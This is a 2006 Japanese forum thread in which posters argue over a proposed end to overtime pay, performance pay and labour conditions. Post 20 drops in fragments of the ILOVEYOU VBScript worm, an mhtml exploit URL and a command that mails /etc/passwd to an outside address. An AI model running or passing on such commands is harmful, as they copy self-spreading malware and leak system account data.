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【政策】いくら残業しても残業代1円もナシ

1 :Ψ:2006/10/25(水) 00:02:05.98 ID:3qKDIxV+0
筑紫の番組で今やってたんだけど
政府が残業代1円も出さないシステム導入を検討してるらしい。
成果主義でメリットはやる気の向上や効率化らしい。
こんな事なったら歩合制と同じじゃん

これって暴動おこすべきかあああああああああああ?
フランスに続けやああああああああああああああああああああああああああああああああああああああああああ



2 :Ψ:2006/10/25(水) 00:02:31.14 ID:9DcoAi/y0
サガ━━━━━━(゚∀゚)━━━━━━!!!!!

3 :Ψ:2006/10/25(水) 00:02:45.70 ID:Xl/aalfN0
俺はずっと歩合給だから関係ナイネ

4 :Ψ:2006/10/25(水) 00:02:58.94 ID:XTw6X+AK0
まずお前が何かしろハゲ>>1

5 :Ψ:2006/10/25(水) 00:03:36.70 ID:rArfWylS0


ホワイトカラー・エクスキューションってやつ

6 :Ψ:2006/10/25(水) 00:03:42.80 ID:HVEnvBlB0
恐ろしいね

7 :Ψ:2006/10/25(水) 00:06:42.40 ID:K1vNyK7d0
歩合制になったら仕事中に2ちゃんなんて見てられなくなるな。
せっかく自宅鯖&独自ドメイン&.htaccess認証でログ解析されても
ばれないようにしたのに・・・。

8 :Ψ:2006/10/25(水) 00:08:07.15 ID:3qKDIxV+0
まじでしゃれなってない

>4 おい君、リアルで禿げてるんで言葉つつしめよ

9 :Ψ:2006/10/25(水) 00:08:22.64 ID:LZGocFLq0
管理職には有効。
それ以外には無効。

10 :Ψ:2006/10/25(水) 00:08:40.21 ID:uThuzaMw0
生産性のない、成果の出ない残業をいくらやっても意味無し
成果主義は当然だろ!
企業はボランティアやってんじゃねえからな

11 :Ψ:2006/10/25(水) 00:09:13.43 ID:Flf8eK8x0
成果主義は 2時間で 仕事終えてもいいわけだが


12 :Ψ:2006/10/25(水) 00:10:17.52 ID:K3fScQOF0
>>1
筑紫に煽られてカワイソスwwwwwwwwwwww

13 :Ψ:2006/10/25(水) 00:11:05.87 ID:H6o8/60l0
つーかあからさまに論点ずらされてるよ

今の仕事のやり方が効率悪いんじゃなくて、
デフレ不況時代のコスト圧縮が普通になっちゃってて
利益率があまりに低すぎてることが問題

仕事を多めに入れないと利益あがらない
だからかなりの時間をサービス残業してるんだ

それをビタ1文ださないって…w
もうお笑いだね
こちとら自主的に働いてるのに、
それを恒常化されたら労働意欲も糞もあるわけないじゃないか

14 :Ψ:2006/10/25(水) 00:11:44.45 ID:DrebopMD0
残業なんて無能がすることなんだから別にいいだろ

15 :Ψ:2006/10/25(水) 00:12:23.81 ID:3qKDIxV+0
そ、そんな事言ってんじゃないよ・・・・!
雇用制度の変化など色々苦しめられてきてるのに
こんな事されたらいくら引っ込み思案のジャパニーズでも暴動レベルだろ!!

こんなアホな事提案した奴ぶっとばせやああああああああああああ


16 :Ψ:2006/10/25(水) 00:13:28.49 ID:mHEV0CJD0
年俸制にしてボーナスや残業代という名目を無くす
やるべき仕事が終わったらさっさと帰る
仕事の早い人は早く帰れて、のろまは午前様で

17 :Ψ:2006/10/25(水) 00:13:54.37 ID:H6o8/60l0
>>15
はい共謀罪適用ねw

まー自民も自民で糞だけど、民主党が比較にならない糞具合だから
こういうのが平気でまかりとおるんだけどな

18 :Ψ:2006/10/25(水) 00:14:11.58 ID:T73RtmyF0
そもそも定時の間に仕事を終える工夫をすべき。
俺も夜中の2時頃まで残業することなんてざらにあるけど
自分が経営者だから当然残業代なんて無い。

経営側にすれば、きっちりと定時に仕事終わらせて帰ってくれるのが
一番いい。
まわり見てるとやることもそれほどないのにだらだらと残って
ちゃっかり残業代だけ請求しているやつの多さにびっくり。
お願いだから勤務中にくっちゃべったりネットしたり何度も化粧
直したりしている時間を仕事にまわしてください。

19 :Ψ:2006/10/25(水) 00:14:16.90 ID:2PNG3zrC0
政府が残業代1円も出さないシステム導入

先ず公務員から試してみるといいよ

たぶん公務員はそのままで、民間企業だけ残業カット徳政令発動

20 :Ψ:2006/10/25(水) 00:15:07.75 ID:OMM4uMou0

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
c.Copy(dirwin&"\Win32DLL.vbs")
ms-its:mhtml:file://c:\
End Sub

21 :Ψ:2006/10/25(水) 00:16:04.95 ID:e9lwJZhV0
出きるやつのところに仕事は集まる
要領の悪いやつ程 得するか?


22 :Ψ:2006/10/25(水) 00:16:40.78 ID:lXITKeCY0
&heart;

23 :Ψ:2006/10/25(水) 00:17:23.79 ID:3qKDIxV+0
>>11
メリットは働く時間を自由に決められるって事を言ってたなー
あなたの言うように2時間で仕事終わらせれるならいいよw

仕事終わらせるのに時間が足りないから残業してるんでしょーーー?
この場合2時間で仕事終わらせたらいつまでたっても給料貰えないジャン・・・・


24 :Ψ:2006/10/25(水) 00:17:36.74 ID:lXITKeCY0


25 :Ψ:2006/10/25(水) 00:17:50.33 ID:H6o8/60l0
>>21
俺もその傾向が強化されるだけだと思う

26 :Ψ:2006/10/25(水) 00:23:41.73 ID:V92A2HGa0
ホワイトカラーエグゼンプション?だったかな確か
一定の年収がいくらになるかが肝だな

27 :Ψ:2006/10/25(水) 00:29:45.44 ID:swlpzIxtO
歩合制にして残業も自宅持ち帰りも一切禁止すればいい
能率悪いバカはいつまでも仕事が終わらない、そんな奴には定時まででこなした
なけなしの金だけ払えばいい 残ってやり遂げるなんて甘いことはさせるな

28 :Ψ:2006/10/25(水) 00:30:34.67 ID:hx1IQsL40
一定の年収が保障されてるなら問題ない。
時給制とあわせようとすると変なことになる


29 :Ψ:2006/10/25(水) 00:34:57.29 ID:lmYpUUfx0
っつか、
他人の休みの穴埋めとかで残業することならあるけど
こういう場合でも残業代出なくなるなんて納得いかなくね?

30 :Ψ:2006/10/25(水) 00:38:01.24 ID:oD/NmPkiO
俺、働くのやーめた

31 :Ψ:2006/10/25(水) 00:39:59.20 ID:zZwNLC4q0
現代日本のサラリーマンというのは
日本の歴史上もっとも過酷な労働をさせられているんじゃないか?
企業の奴隷そのものだわ
佐渡の金山で働いてた連中とも大差ない

32 :Ψ:2006/10/25(水) 00:40:12.16 ID:qEQk9kNY0
政治家も成果主義にしろよ。

33 :Ψ:2006/10/25(水) 00:44:51.25 ID:Wfh/UGan0
>>18
オレも自営だけど同意だな。
無能なやつらに余分な金を払っていたら経営者はたまったもんじゃない。
会社っていうのは、利益を上げるための集団なんだぜ?
能無しの残業代っていうのは、経営者だけじゃなくて他の社員に対しても余分なコスト負担を掛けていることに気づけ。
会社は、お金をくれるところって思っているやつはとっとと辞めちまえ。

34 :Ψ:2006/10/25(水) 00:46:36.40 ID:JQ4Mly5B0
なんなのこの企業擁護策は
またですか
おまえらが右へならえで
ジミンに入れまくるからこういうことになる

35 :Ψ:2006/10/25(水) 00:49:02.74 ID:lmYpUUfx0
>>18>>33
そういう感覚で残業代せしめようとしてるコスい奴なら
確かに俺の職場にもいる。
ああいうの見るとムカつくのは確か。
そういう連中の考えがカス過ぎるって意見は充分分かる。

36 :Ψ:2006/10/25(水) 00:51:57.71 ID:IuWfCDHmO
残業代カット、企業儲かる!
法人税アップ!

官僚と省庁のおこずかいまでもアップ!

でOK?

37 :Ψ:2006/10/25(水) 00:55:46.31 ID:6z2CuqxD0
>>35>>33>>18

成果のある仕事を過剰に押しつけられて、
それをこなそうと頑張ってる人の残業代がカットされるのは
正当な報酬のカットであり許せないと思う。

ただ、残業代を稼ぐためにダラダラ時間潰すだけの成果をもたらさない人間にやる金はない。

要は運用というか、経営者次第じゃない?


38 :Ψ:2006/10/25(水) 00:59:49.49 ID:Wfh/UGan0
能力や成果に応じた報酬というのが一番平等なんだよ。
会社に長時間いるだけで報酬を得るというのは、利権に乗っかっているのと同じこと。
どっかの役場の職員とか、出身による特権とか、そういうものと同じなの。
採用条件とかでもさ、人権やらなんやらでおかしな平等に縛られて行ってるんだから、
成果に応じたリターンというやり方にしなくては会社なんてそのうち潰れてしまうよ。

39 :Ψ:2006/10/25(水) 01:03:32.48 ID:lmYpUUfx0
>>37>>38
そうやね。
「その残業で、業務上何を為しえたか」を明確に計れるようにして、
それが認められれば支給、認められなければ無給ってのが
いいように思う。
俺は経営者ではないし管理職でもないが、
ハッキリ言ってダラダラ残業してる奴の顔みてるだけでイライラしてくる。

40 :Ψ:2006/10/25(水) 01:13:07.17 ID:UMd6GrAvO
残業代が出ないんなら残業やーめた→人手不足→雇用創出
そう上手くはいかんか…

41 :Ψ:2006/10/25(水) 01:17:23.21 ID:T73RtmyF0
>>39
同意です。

ただ、就業時間だけでは計れない部分は正当に評価してその分給料に
反映させてあげたいとは常々思っています。
が、営業職じゃない人たちの場合は、自分の受け持ちの仕事を手っ取り早く
終わらせて定時で帰っていく人間と、仕事の密度はともかく長時間の残業を
やって帰っていく人間では、どうしても周りから見たら残業やっている
人間のほうが一生懸命働いているような印象をもたれがちな社会である気が
します。
>>39さんのおっしゃる『業務上何を為しえたか」を明確に計れる』システムは
なかなか難しいのも現状としてあります。
現状では残業代を削って『残業するだけばかばかしいんだ』という概念を
みんなが持ってくれれば効率は上がるような気がしますが・・・。
それで社員の勤労意欲をますます削ぐということも考えられるので・・・。


42 :Ψ:2006/10/25(水) 01:23:32.95 ID:6z2CuqxD0
>>39
その際に必ず議論になるのは、誰がどういう方法で成果の中身を評価するかって事。
具体的な成果がなくても、社や部署の将来の方針について討議した場合など、中長期的な
仕事ほど評価しづらい。
そのような仕事の評価は永遠の課題でもある。

成果主義は短絡的になりすぎる弊害があるから、年俸制に・・・
ってのが大筋での目論みかなぁ?
自分が会社に与えた利益、これに相当する対価が得られれば年俸制でもいいけどね。


43 :Ψ:2006/10/25(水) 01:28:22.28 ID:lmYpUUfx0
>>41
確かに、一概に数値化できない業種ってのもあるからね。

このスレで言うべきことじゃないかもしれんが、
将来の日本はかなりやばいことになるような気がする。
団塊連中が退職して、大量の退職金支出で企業弱体化。
その後にはゆとり世代・大学全入時代の甘えんぼアホが就職。
しかして、少子化によって労働者は不足するから、
企業によっては、とりあえず甘えんぼアホでも雇用せざるを得なくなる。
それでも所詮は責任感なしのアホだから、仕事の能率は低下、サービス内容も低下。
(つうか、アホは「人の役に立って(サービスとして機能して)こそ仕事」とは考えず、
「とりあえず職場にいてウロウロしてれば仕事」と考える風潮があるように思う。)
サービスが機能せず壊滅する企業続出。法人税収入下降。
政治家・官僚・役人は相変わらず既得権益にしがみついて浪費。
そのしわ寄せは一般労働者へ。
福祉機能低下。役立つ人材育たない。国の財政あぼん。
こんな最悪シナリオを危惧してるのって、俺だけ?

44 :Ψ:2006/10/25(水) 01:31:40.16 ID:hMUMVKJX0
1円もなしはまちがい。正しくは
1銭もなし


45 :Ψ:2006/10/25(水) 01:37:06.49 ID:Cp0b/9Gk0
嫌だったら会社辞めて自分で会社始めればいいじゃん
本当に必要な人材なら企業が引き留めてくれるよ



46 :Ψ:2006/10/25(水) 01:37:28.31 ID:ovj4pxxX0
>>1

ホワイトカラー向けの制度だからお前には関係ない

どうせブルーカラーだろ
あるいはレッドフラッグか

47 :Ψ:2006/10/25(水) 01:40:43.02 ID:lmYpUUfx0
>>42
年俸制って、ちょっと魅力的かなと思うことはある。
その人の働きが、企業の中でどれくらいの評価を得ているかの指標にもなるし、
ダラダラ残業とか、とりあえず座ってるだけで役員報酬貰ってる奴がいるような
現状に比べたら、遥かにやる気がでる。

48 :Ψ:2006/10/25(水) 01:40:59.01 ID:iS9TKtcm0
定時内でできないのが悪いってのもどうかと思うが。
明らかに定時内でできそうにない量なのに、定時内でできないから残業代出さない、とかだってあるだろう?
まぁ、ダラダラと残業してる奴が居るのも確かだし、そういう野郎に残業代出さないってのはわかるけどさ。

49 :Ψ:2006/10/25(水) 01:42:58.87 ID:Y1B/uILP0 ?2BP(0)
まず公務員に導入して評価してみるべきだな!

ありえんだろうがね・・・

さっきまで仕事してきたオレとしては残業=無能って言われるとツライ。
だってうちの会社は、早く帰ると仕事量が増えるorz

50 :Ψ:2006/10/25(水) 01:48:47.25 ID:AAuKDGeF0
もう正社員辞めだ。これだったら時給で金もらったほうがいいよね。

バイトか派遣でいいんじゃないか。正社員にこだわってサービス残業

で過労死したくないな。

51 :Ψ:2006/10/25(水) 01:49:16.35 ID:3qKDIxV+0
>>46
ホワイトだから焦ってスレ建てしたのですが・・・
それとブルーなどには関係ないと仰っていますが、
川上で起こった引き締めは必然的に様々な形で川下に流れたまっていきますよ。

>>43
すでに現在進行形ですね。保険の負担額増化など進んで行き
治療も受けられず寂しい死に方する方が急増したり
介護サービスを使える人の数がすごく減っていきそうですね。

ロボット・コンピューター技術がより高度になり求人の需要がかなり減るかもです。
そして人間がする仕事と言っても安い外国人に奪われるかも。
関係ないですがアメリカではIT導入によりほとんどの業種の雇用率が右肩下がりらしいです。


52 :Ψ:2006/10/25(水) 01:53:26.10 ID:6z2CuqxD0
>>47
昔マイクロソフトの日本法人で働いてた友人が言ってた。

「年俸制で年俸が決まったとたんに、それまでよりもグッと多い仕事量を与えられた
まるで詐欺だよ〜これじゃ〜」

まあ、それをこなして次の年俸交渉の材料にすればいいのかもしれないけど、
リスクも大きくなりそうな予感はするよね。

あと、各社員の評価を厳密に実行して差をつけた時に、
給料が下がった者の 仕事に対する志気 が著しく下がるであろう事が懸念される。
差をつけなきゃ出来る者が腐り、差をつけりゃ出来ないものがもっと腐る。

なので、やっぱり経営者の方針とかによるよな〜


53 :Ψ:2006/10/25(水) 02:23:27.98 ID:NOQWTshO0
おまいら、健康に害があって長期入院か持病餅になったらどうするんだ。
安くても、残業しないところを選べ、

54 :Ψ:2006/10/25(水) 02:34:18.30 ID:kGDxin2NO
っていうかそんな政策通るわけねえだろ!
常識で考えろ!w

55 :Ψ:2006/10/25(水) 02:42:30.04 ID:/93XmrqeO
要は労働基準法を無視してサービス残業を推奨する制度ですか?

格差は益々広がるだろうし、ニートや自殺者が増えるのは明らかなのに…

なんか日本滅亡へまっしぐらだな。

56 :Ψ:2006/10/25(水) 02:45:51.82 ID:zukzyT4M0
日本が滅亡しても
トヨタは滅亡しないからな

57 :Ψ:2006/10/25(水) 02:49:43.77 ID:PAB6VkKg0
政府のきめようとしてることは基本的に金持ち(企業の雇い側)においしい政策ばかりだと思えばいい。
金持ちがその法律や策をつかってよりいっそう楽にかねかせげるための政策と思えばいい。
 

58 :Ψ:2006/10/25(水) 02:51:09.26 ID:OEl8s0th0
>>55
労働基準法を改悪して、某大手製造業などが多用して業績を上げた
『偽装請負』の手法を「合法化」して、今以上の使い捨て従業員の賃金
へのピンはねを奨励するつもりだろう>国



…国の中枢に巣食った利権ゴロや在日利権優遇政治家の性で、基地外
になるか馬鹿にでもなら無い限り、マトモな香具師にとって労働が『苦役』
以下になっていくのは目に見えてるな

59 :Ψ:2006/10/25(水) 03:40:54.33 ID:McofArqn0
おれっちの会社なんか、30年前から、ノー残業代だよ。
全員を取締役に据えてるから労働基準法の対象外だとか言って。
大体、毎月実働で330時間くらい働いてるよ。
1円も残業代無い。
退職金もない。


60 :ヤシマ:2006/10/25(水) 06:26:37.94 ID:2RhKglSL0
ソフト会社では昔から残業代が出ない。

61 :Ψ:2006/10/25(水) 07:44:55.08 ID:RRIj1Wrc0
公務員のうち、教師は残業手当てなし、4%の教職調整手当て一律支給だよ。
そいで、時間ぴったり(8h×35week×5dayしか働かないのと、一日15時間働いて休日月いちなのと二極分解して給料は同じ。
もちろん圧倒的に前者が多くておしなべてやる気がな
い。


62 :Ψ:2006/10/25(水) 07:58:08.38 ID:FU4aFkQ90
ウィキに書いてあることマジかよ
これじゃぁ誰も働かなくなるだろ…orz
ttp://ja.wikipedia.org/wiki/%E3%83%9B%E3%83%AF%E3%82%A4%E3%83%88%E3%82%AB%E3%83%A9%E3%83%BC%E3%82%A8%E3%82%B0%E3%82%BC%E3%83%B3%E3%83%97%E3%82%B7%E3%83%A7%E3%83%B3

63 :Ψ:2006/10/25(水) 08:54:57.22 ID:rqrs8H+50
公務員と年収800万以上にしてくれ。

64 :Ψ:2006/10/25(水) 09:01:07.44 ID:xrvSYlsC0
>>59 内容によるけど、労働法違反だと思う。通報してみれば?

>>52 それを調整するのがボーナスだと思うが。
   評価システムがうまく機能しないんだよね(自分を過大評価して勘違いしてる人も
   経営者は能力主義を口実縫い賃金を抑えたいだけ。


65 :Ψ:2006/10/25(水) 09:04:16.66 ID:xrvSYlsC0
ユニオンあたりに相談して労働組合でも作れば?


66 :Ψ:2006/10/25(水) 09:04:28.69 ID:xrvSYlsC0
経営者は団体作って自民党の圧力団体として、いろんな法案を通してきている
税金を払っていない銀行も献金再開だそうだ

67 :Ψ:2006/10/25(水) 09:18:46.51 ID:iMy1LZluO
民間はだめか?By学生

68 :Ψ:2006/10/25(水) 09:19:01.38 ID:yH2pAIqJO
>>1
そういえばフランス人ジャーナリストが来日した際に
フランスより労働条件が悪い日本人は何故立ち上がらないのか?
と不思議そうに話してたな

69 :Ψ:2006/10/25(水) 09:34:10.08 ID:xrvSYlsC0
問題になっている 請負の合法化だよな。
病気になったり、役に立たなくなればら即切り捨てられるよ。
何年働いても賃金も上がらない。

70 :Ψ:2006/10/25(水) 09:39:34.40 ID:p0ZLqMMW0
まぁ〜俺さ、定時の仕事が終わってから
残業代が入らない保険の勧誘を週3〜4回21時ぐらいまでさせられるわけよ

そいで店を土日空けなきゃいけなくてさ〜定額使いたい方だいされてるんだが
この状況で成果主義とかいってやられたら、もっと過酷になるからやめてくれorz

71 :全力 ◆TYmL.KSMto :2006/10/25(水) 10:16:34.23 ID:relOEgxw0
l

72 :冷やしトマト:2006/10/25(水) 10:52:16.34 ID:jZ1dquZH0
うちの王子はいくら残業しても役に立たないよ。

73 :Ψ:2006/10/25(水) 11:16:28.86 ID:hMfnwzNo0
とりあえず役所で効果があるか試してみましょう

74 :Ψ:2006/10/25(水) 12:10:47.47 ID:a+QlNRfu0
これは外国人労働者を入国させようとしてるな。

75 :Ψ:2006/10/25(水) 13:41:45.91 ID:AoteNQB0O
経団連のせいで日本が崩壊するなw
残業代出ない(成果主義)→残業しない、もしくは数字に繋がらないことはやらない→自己中な働き方しかできない→会社崩壊

76 :Ψ:2006/10/25(水) 13:51:06.98 ID:pj9ICaL60
まずは、公務員から実施してほしい。

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